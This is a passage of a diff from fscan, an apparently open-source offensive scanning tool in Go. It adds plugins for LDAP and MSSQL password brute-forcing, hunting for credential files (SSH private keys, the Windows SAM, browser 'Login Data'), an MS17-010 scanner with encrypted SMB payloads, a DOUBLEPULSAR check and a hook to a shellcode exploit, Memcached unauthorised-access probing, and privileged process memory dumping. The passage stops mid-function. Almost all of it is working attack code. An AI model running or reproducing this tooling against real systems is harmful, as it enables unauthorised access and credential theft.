if user != "" || pass != "" {
config.Net.SASL.Enable = true
config.Net.SASL.Mechanism = sarama.SASLTypePlaintext
config.Net.SASL.User = user
config.Net.SASL.Password = pass
config.Net.SASL.Handshake = true
}
brokers := []string{fmt.Sprintf("%s:%s", host, port)}
// 尝试作为消费者连接测试
consumer, err := sarama.NewConsumer(brokers, config)
if err == nil {
defer consumer.Close()
return true, nil
}
// 如果消费者连接失败,尝试作为客户端连接
client, err := sarama.NewClient(brokers, config)
if err == nil {
defer client.Close()
return true, nil
}
// 检查错误类型
if strings.Contains(err.Error(), "SASL") ||
strings.Contains(err.Error(), "authentication") ||
strings.Contains(err.Error(), "credentials") {
return false, fmt.Errorf("认证失败")
}
return false, err
}

166
Plugins/LDAP.go Normal file
View File

@ -0,0 +1,166 @@
package Plugins
import (
"fmt"
"github.com/go-ldap/ldap/v3"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
func LDAPScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试匿名访问...")
// 首先尝试匿名访问
flag, err := LDAPConn(info, "", "")
if flag && err == nil {
// 记录匿名访问成功
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "ldap",
"type": "anonymous-access",
},
}
Common.SaveResult(result)
Common.LogSuccess(fmt.Sprintf("LDAP服务 %s 匿名访问成功", target))
return err
}
totalUsers := len(Common.Userdict["ldap"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["ldap"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := LDAPConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
// 记录成功爆破的凭据
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "ldap",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
Common.LogSuccess(fmt.Sprintf("LDAP服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass))
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("LDAP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
func LDAPConn(info *Common.HostInfo, user string, pass string) (bool, error) {
address := fmt.Sprintf("%s:%s", info.Host, info.Ports)
timeout := time.Duration(Common.Timeout) * time.Second
// 配置LDAP连接
l, err := ldap.Dial("tcp", address)
if err != nil {
return false, err
}
defer l.Close()
// 设置超时
l.SetTimeout(timeout)
// 尝试绑定
if user != "" {
bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user)
err = l.Bind(bindDN, pass)
} else {
err = l.UnauthenticatedBind("")
}
if err != nil {
return false, err
}
// 尝试简单搜索以验证权限
searchRequest := ldap.NewSearchRequest(
"dc=example,dc=com",
ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
"(objectClass=*)",
[]string{"dn"},
nil,
)
_, err = l.Search(searchRequest)
if err != nil {
return false, err
}
return true, nil
}

218
Plugins/LocalInfo.go Normal file
View File

@ -0,0 +1,218 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"path/filepath"
"runtime"
"strings"
)
var (
// 文件扫描黑名单,跳过这些类型和目录
blacklist = []string{
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
}
// 敏感文件关键词白名单
whitelist = []string{
"密码", "账号", "账户", "配置", "服务器",
"数据库", "备忘", "常用", "通讯录",
}
// Linux系统关键配置文件路径
linuxSystemPaths = []string{
// Apache配置
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/httpd/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/home/httpd/conf/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/httpd/conf/httpd.conf",
"/etc/apache2/sites-available/000-default.conf",
"/etc/apache2/sites-enabled/*",
"/etc/apache2/sites-available/*",
"/etc/apache2/apache2.conf",
// Nginx配置
"/etc/nginx/nginx.conf",
"/etc/nginx/conf.d/nginx.conf",
// 系统配置文件
"/etc/hosts.deny",
"/etc/bashrc",
"/etc/issue",
"/etc/issue.net",
"/etc/ssh/ssh_config",
"/etc/termcap",
"/etc/xinetd.d/*",
"/etc/mtab",
"/etc/vsftpd/vsftpd.conf",
"/etc/xinetd.conf",
"/etc/protocols",
"/etc/logrotate.conf",
"/etc/ld.so.conf",
"/etc/resolv.conf",
"/etc/sysconfig/network",
"/etc/sendmail.cf",
"/etc/sendmail.cw",
// proc信息
"/proc/mounts",
"/proc/cpuinfo",
"/proc/meminfo",
"/proc/self/environ",
"/proc/1/cmdline",
"/proc/1/mountinfo",
"/proc/1/fd/*",
"/proc/1/exe",
"/proc/config.gz",
// 用户配置文件
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.ssh/id_rsa.keystore",
"/root/.ssh/id_rsa.pub",
"/root/.ssh/known_hosts",
"/root/.bash_history",
"/root/.mysql_history",
}
// Windows系统关键配置文件路径
windowsSystemPaths = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
)
// LocalInfoScan 本地信息收集主函数
func LocalInfoScan(info *Common.HostInfo) (err error) {
Common.LogInfo("开始本地信息收集...")
// 获取用户主目录
home, err := os.UserHomeDir()
if err != nil {
Common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
return err
}
// 扫描固定位置的敏感文件
scanFixedLocations(home)
// 根据规则搜索敏感文件
searchSensitiveFiles()
Common.LogInfo("本地信息收集完成")
return nil
}
// scanFixedLocations 扫描固定位置的敏感文件
func scanFixedLocations(home string) {
var paths []string
switch runtime.GOOS {
case "windows":
// 添加Windows固定路径
paths = append(paths, windowsSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
case "linux":
// 添加Linux固定路径
paths = append(paths, linuxSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
filepath.Join(home, ".mozilla", "firefox"),
}...)
}
for _, path := range paths {
// 处理通配符路径
if strings.Contains(path, "*") {
var _ = strings.ReplaceAll(path, "*", "")
if files, err := filepath.Glob(path); err == nil {
for _, file := range files {
checkAndLogFile(file)
}
}
continue
}
checkAndLogFile(path)
}
}
// checkAndLogFile 检查并记录敏感文件
func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil {
Common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
}
}
// searchSensitiveFiles 搜索敏感文件
func searchSensitiveFiles() {
var searchPaths []string
switch runtime.GOOS {
case "windows":
// Windows下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux":
// Linux下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"/home",
"/opt",
"/usr/local",
"/var/www",
"/var/log",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
}
// 在限定目录下搜索
for _, searchPath := range searchPaths {
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 跳过黑名单目录和文件
for _, black := range blacklist {
if strings.Contains(strings.ToLower(path), black) {
return filepath.SkipDir
}
}
// 检查白名单关键词
for _, white := range whitelist {
fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) {
Common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
break
}
}
return nil
})
}
}

File diff suppressed because it is too large Load Diff

288
Plugins/MS17010.go Normal file
View File

@ -0,0 +1,288 @@
package Plugins
import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"strings"
"time"
)
var (
// SMB协议加密的请求数据
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
// SMB协议解密后的请求数据
negotiateProtocolRequest []byte
sessionSetupRequest []byte
treeConnectRequest []byte
transNamedPipeRequest []byte
trans2SessionSetupRequest []byte
)
func init() {
var err error
// 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
os.Exit(1)
}
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
os.Exit(1)
}
sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
os.Exit(1)
}
// 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
os.Exit(1)
}
treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
os.Exit(1)
}
// 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
os.Exit(1)
}
transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
os.Exit(1)
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
os.Exit(1)
}
}
// MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
err := MS17010Scan(info)
if err != nil {
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
}
return err
}
func MS17010Scan(info *Common.HostInfo) error {
ip := info.Host
// 连接目标
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("连接错误: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时错误: %v", err)
}
// SMB协议协商
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return fmt.Errorf("发送协议请求错误: %v", err)
}
reply := make([]byte, 1024)
if n, err := conn.Read(reply); err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取协议响应错误: %v", err)
}
return fmt.Errorf("协议响应不完整")
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return fmt.Errorf("协议协商被拒绝")
}
// 建立会话
if _, err = conn.Write(sessionSetupRequest); err != nil {
return fmt.Errorf("发送会话请求错误: %v", err)
}
n, err := conn.Read(reply)
if err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取会话响应错误: %v", err)
}
return fmt.Errorf("会话响应不完整")
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return fmt.Errorf("会话建立失败")
}
// 提取系统信息
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
} else {
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
break
}
}
}
}
// 树连接请求
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
if _, err = conn.Write(treeConnectRequest); err != nil {
return fmt.Errorf("发送树连接请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取树连接响应错误: %v", err)
}
return fmt.Errorf("树连接响应不完整")
}
// 命名管道请求
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
if _, err = conn.Write(transNamedPipeRequest); err != nil {
return fmt.Errorf("发送管道请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取管道响应错误: %v", err)
}
return fmt.Errorf("管道响应不完整")
}
// 漏洞检测部分添加 Output
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
// 构造基本详情
details := map[string]interface{}{
"port": "445",
"vulnerability": "MS17-010",
}
if os != "" {
details["os"] = os
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
} else {
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
}
// 保存 MS17-010 漏洞结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: ip,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
// DOUBLEPULSAR 后门检测
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
return fmt.Errorf("发送后门检测请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取后门检测响应错误: %v", err)
}
return fmt.Errorf("后门检测响应不完整")
}
if reply[34] == 0x51 {
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
// 保存 DOUBLEPULSAR 后门结果
backdoorResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: ip,
Status: "backdoor",
Details: map[string]interface{}{
"port": "445",
"type": "DOUBLEPULSAR",
"os": os,
},
}
Common.SaveResult(backdoorResult)
}
// Shellcode 利用部分保持不变
if Common.Shellcode != "" {
defer MS17010EXP(info)
}
} else if os != "" {
Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os))
// 保存系统信息
sysResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: ip,
Status: "identified",
Details: map[string]interface{}{
"port": "445",
"service": "smb",
"os": os,
},
}
Common.SaveResult(sysResult)
}
return nil
}

139
Plugins/MSSQL.go Normal file
View File

@ -0,0 +1,139 @@
package Plugins
import (
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MssqlScan 执行MSSQL服务扫描
func MssqlScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["mssql"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历所有用户名密码组合
for _, user := range Common.Userdict["mssql"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
// 执行MSSQL连接
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := MssqlConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
// 等待结果或超时
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("MSSQL %s %v %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "mssql",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("MSSQL %s %v %v %v", target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
}
// MssqlConn 尝试MSSQL连接
func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v",
host, username, password, port, timeout,
)
// 建立数据库连接
db, err := sql.Open("mssql", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
return true, nil
}

60
Plugins/Memcached.go Normal file
View File

@ -0,0 +1,60 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"time"
)
// MemcachedScan 检测Memcached未授权访问
func MemcachedScan(info *Common.HostInfo) error {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
timeout := time.Duration(Common.Timeout) * time.Second
// 建立TCP连接
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
if err != nil {
return err
}
defer client.Close()
// 设置超时时间
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
return err
}
// 发送stats命令
if _, err := client.Write([]byte("stats\n")); err != nil {
return err
}
// 读取响应
rev := make([]byte, 1024)
n, err := client.Read(rev)
if err != nil {
Common.LogError(fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err))
return err
}
// 检查响应内容
if strings.Contains(string(rev[:n]), "STAT") {
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "memcached",
"type": "unauthorized-access",
"description": "Memcached unauthorized access",
},
}
Common.SaveResult(result)
Common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost))
}
return nil
}

319
Plugins/MiniDump.go Normal file
View File

@ -0,0 +1,319 @@
//go:build windows
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/sys/windows"
"os"
"path/filepath"
"syscall"
"unsafe"
)
const (
TH32CS_SNAPPROCESS = 0x00000002
INVALID_HANDLE_VALUE = ^uintptr(0)
MAX_PATH = 260
PROCESS_ALL_ACCESS = 0x1F0FFF
SE_PRIVILEGE_ENABLED = 0x00000002
ERROR_SUCCESS = 0
)
type PROCESSENTRY32 struct {
dwSize uint32
cntUsage uint32
th32ProcessID uint32
th32DefaultHeapID uintptr
th32ModuleID uint32
cntThreads uint32
th32ParentProcessID uint32
pcPriClassBase int32
dwFlags uint32
szExeFile [MAX_PATH]uint16
}
type LUID struct {
LowPart uint32
HighPart int32
}
type LUID_AND_ATTRIBUTES struct {
Luid LUID
Attributes uint32
}
type TOKEN_PRIVILEGES struct {
PrivilegeCount uint32
Privileges [1]LUID_AND_ATTRIBUTES
}
// ProcessManager 处理进程相关操作
type ProcessManager struct {
kernel32 *syscall.DLL
dbghelp *syscall.DLL
advapi32 *syscall.DLL
}
// 创建新的进程管理器
func NewProcessManager() (*ProcessManager, error) {
kernel32, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
}
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
if err != nil {
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
}
advapi32, err := syscall.LoadDLL("advapi32.dll")
if err != nil {
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
}
return &ProcessManager{
kernel32: kernel32,
dbghelp: dbghelp,
advapi32: advapi32,
}, nil
}
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
if handle == uintptr(INVALID_HANDLE_VALUE) {
return 0, fmt.Errorf("创建进程快照失败: %v", err)
}
return handle, nil
}
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
var pe32 PROCESSENTRY32
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
return 0, fmt.Errorf("获取第一个进程失败")
}
for {
ret, _, _ = lstrcmpi.Call(
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
)
if ret == 0 {
return pe32.th32ProcessID, nil
}
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
if ret == 0 {
break
}
}
return 0, fmt.Errorf("未找到进程: %s", name)
}
func (pm *ProcessManager) closeHandle(handle uintptr) {
proc := pm.kernel32.MustFindProc("CloseHandle")
proc.Call(handle)
}
func (pm *ProcessManager) ElevatePrivileges() error {
handle, err := pm.getCurrentProcess()
if err != nil {
return err
}
var token syscall.Token
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
if err != nil {
return fmt.Errorf("打开进程令牌失败: %v", err)
}
defer token.Close()
var tokenPrivileges TOKEN_PRIVILEGES
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
ret, _, err := lookupPrivilegeValue.Call(
0,
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
)
if ret == 0 {
return fmt.Errorf("查找特权值失败: %v", err)
}
tokenPrivileges.PrivilegeCount = 1
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
ret, _, err = adjustTokenPrivileges.Call(
uintptr(token),
0,
uintptr(unsafe.Pointer(&tokenPrivileges)),
0,
0,
0,
)
if ret == 0 {
return fmt.Errorf("调整令牌特权失败: %v", err)
}
return nil
}
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
handle, _, _ := proc.Call()
if handle == 0 {
return 0, fmt.Errorf("获取当前进程句柄失败")
}
return syscall.Handle(handle), nil
}
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid)
if err != nil {
return err
}
defer pm.closeHandle(processHandle)
fileHandle, err := pm.createDumpFile(outputPath)
if err != nil {
return err
}
defer pm.closeHandle(fileHandle)
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
ret, _, err := miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
0x00061907, // MiniDumpWithFullMemory
0,
0,
0,
)
if ret == 0 {
return fmt.Errorf("写入转储文件失败: %v", err)
}
return nil
}
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
proc := pm.kernel32.MustFindProc("OpenProcess")
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
return 0, fmt.Errorf("打开进程失败: %v", err)
}
return handle, nil
}
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
pathPtr, err := syscall.UTF16PtrFromString(path)
if err != nil {
return 0, err
}
createFile := pm.kernel32.MustFindProc("CreateFileW")
handle, _, err := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE,
0,
0,
syscall.CREATE_ALWAYS,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
if handle == INVALID_HANDLE_VALUE {
return 0, fmt.Errorf("创建文件失败: %v", err)
}
return handle, nil
}
// 查找目标进程
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
snapshot, err := pm.createProcessSnapshot()
if err != nil {
return 0, err
}
defer pm.closeHandle(snapshot)
return pm.findProcessInSnapshot(snapshot, name)
}
// 检查是否具有管理员权限
func IsAdmin() bool {
var sid *windows.SID
